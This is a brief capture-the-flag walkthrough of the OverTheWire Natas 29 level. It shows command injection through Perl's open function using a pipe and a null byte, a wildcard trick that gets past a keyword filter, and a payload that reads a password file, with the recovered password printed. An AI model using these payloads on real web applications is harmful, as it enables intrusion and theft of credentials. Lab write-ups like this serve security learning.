We can see it gets a file and reads it, using perl.
From here piping in open function perl, we can see that if you supply | and then cmd else, it will execute cmd.
also, we need to supply %00 to null terminate the string at the end. (perl is based on C).
http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00
index.pl perl underground 2.txt perl underground 3.txt perl underground 4.txt perl underground 5.txt perl underground.txt
Okay, so let’s read the password:
|more%20/etc/natas_webpass/natas29%20-l%00
no output, gets
meeeeeep!, probably it WAFing the wordnatas
Let’s try bypassing, by using regex, like nata*
|more%20/etc/nata*/nata*30%20-l%00
:::::::::::::: /etc/natas_webpass/natas30 :::::::::::::: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH
I’m using more because cat, head and tail not working.
Flag: WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH